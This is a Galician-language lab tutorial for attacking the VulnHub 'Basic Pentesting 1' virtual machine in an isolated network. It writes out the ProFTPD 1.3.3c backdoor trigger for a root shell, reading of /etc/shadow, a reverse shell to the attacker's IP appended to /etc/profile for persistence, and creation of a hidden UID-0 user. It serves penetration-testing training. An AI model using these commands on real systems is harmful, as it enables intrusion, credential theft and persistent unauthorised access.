Ir ao contido

Práctica Taller: Basic Pentesting 1 (VulnHub) – Pentest completo paso a paso

Recomendacións

  • Non actualizar os paquetes da máquina (podería romper vectores de ataque).
  • Traballar sempre nunha rede illada (host-only).
  • Úsaa como práctica inicial antes de abordar máquinas máis complexas.

Credenciais

  • Usuario: marlinspike
  • Contrasinal: marlinspike

Obxectivo

Realizar un test de intrusión completo (6 fases) sobre a máquina, desde enumeración ata explotación, persistencia e redacción do informe.


Pasos básicos

  1. Descargar a máquina(OVA) dende VulnHub: Basic Pentesting 1

  2. Comprobar o hash

    $ sha1sum basic_pentesting_1.ova
    f207a5ced5369a4ba29971b932b8c683c4aa14c2  basic_pentesting_1.ova
    

  3. Importar a OVA en VirtualBox e asegurarse que na configuración de rede o Adaptador 1 esté en modo Só anfitrión (Host-only)

    Fig. Configuración en VirtualBox

  4. Iniciar a máquina.

  5. Configurar en VirtualBox unha máquina Kali Linux coa rede en modo Só anfitrión (Host‑only).
    Fig. Configuración en VirtualBox
  6. Arrancar a máquina Kali Linux:
    • Identificar a IP (netdiscover ou arp-scan ou nmap) e realizar escaneo con nmap.
    • Detectar vulnerabilidades en servizos como FTP, SSH ou Apache.
    • Explorar un vector de ataque (FTP ProFTPD).
    • Establecer persistencia e recoller información do sistema.
  7. Elaborar un informe final coas evidencias obtidas.

Fases dun test de intrusión (Pentest)

Fig. Fases Pentest


Fase 1: Recopilación de información

Prerrequisito

Realizar os Pasos básicos do 1 ao 5(inclusive).
Arrancar a máquina Kali Linux na primeira opción de arranque.

A. Dende a máquina Kali Linux detectar IP da máquina. Así, executar nunha consola:

setxkbmap es
sudo arp-scan --interface=eth0 192.168.56.0/24 || sudo netdiscover -r 192.168.56.0/24 || sudo nmap -sn -PR 192.168.56.0/24

IP atopada para esta máquina de vulnhub

No caso de execución deste procedemento a IP atopada foi: 192.168.56.34, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

B. Comprobación de conectividade e detección do sistema operativo. Así, executar na anterior consola:

ping -c1 192.168.56.34 -R

TTL

  • TTL ≃ 64 ⇒ GNU/Linux
  • TTL ≃ 128 ⇒ Microsoft Windows
    Como podemos observar na saída do comando ping estamos ante unha máquina obxectivo GNU/Linux. E é certo, xa que sabemos que é unha Ubuntu 16.04 LTS

C. Escaneo básico con Nmap:

nmap -sC -sV -oA basicpentest-scan 192.168.56.34
...
21/tcp  open  ftp     ProFTPD 1.3.3c ...
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu ...
80/tcp  open  http    Apache httpd 2.4.18 (Ubuntu) ...
...

Fase 2: Análise de vulnerabilidades

Identificación de servizos vulnerábeis:

  • Servizos atopados: FTP (ProFTPD), SSH, Apache

Dende a máquina Kali GNU/Linux empregar searchsploit para buscar exploits relacionados con ProFTPD:

searchsploit proftpd 1.3.3c

--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution               | linux/remote/15662.txt
ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)                         | linux/remote/16921.rb
--------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Exploits atopados

Podemos observar que atopamos 2 exploits para explotar a vulnerabilidade: un ficheiro coa explicación do exploit e un script de Metasploit
Lemos os contidos dos ficheiros cos seguintes comandos para estudar os exploits:

searchsploit -x 15662.txt
searchsploit -x 16921.rb
Unha vez estudados os exploits continuamos coa fase de Explotación.


Fase 3: Explotación

Dende a máquina Kali GNU/Linux conectámonos por FTP ao porto 21:

nc 192.168.56.34 21

Escribimos:

HELP ACIDBITCHEZ

Prememos Intro e obtemos unha shell de root:

OLLO!

Aparentemente non pasa nada pero se empezamos a escribir comandos, estamos ante unha shell de root

id
uid=0(root) gid=0(root)

Fig. Exploit ProFTPd

Fase 4: Post-explotación

Recolleita de información (datos sensibles): Dende a consola aberta de root a través de nc podemos ir recopilando información.

whoami
uname -a
cat /etc/passwd
cat /etc/shadow
ls -l /home
ls -lahtr /home/marlinspike

Fase 5: Persistencia

Opción 1: Reverse shell

IP da máquina Kali Linux

No caso de execución deste procedemento a IP da máquina Kali Linux foi: 192.168.56.36, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

$ ip -o -4 addr show eth0 | awk '{print $4}' | cut -d'/' -f1

Dentro da consola de root conseguida con nc executar:

echo "bash -i >& /dev/tcp/192.168.56.36/4444 0>&1" >> /etc/profile

E noutra consola en Kali Linux executar:

nc -lvp 4444

Agora reiniciar a máquina de vulnhub e revisar que unha vez feito login o usuario marlinspike a reverse shell actívase. Podemos executar o comando reboot na consola xerada con nc
Fig. Persistencia nc profile

Unha vez reiniciada a máquina vulnhub ao iniciar sesión co usuario marlinspike (contrasinal marlinspike) o arquivo /etc/profile cargarase e abrirase a reverse shell que temos á espera na Kali Linux:
Fig. Persistencia nc listen 4444


Opción 2 - Engadir usuario permanente e ademais facelo root

useradd -m pentester -o -u 0 -g 0
echo 'pentester:abc123.' | chpasswd
id pentester
Fig. Novo usuario root


Fase 6: Informe final

Seguir o indicado en Informes de Pentesting para obter:

Exemplos nas seccións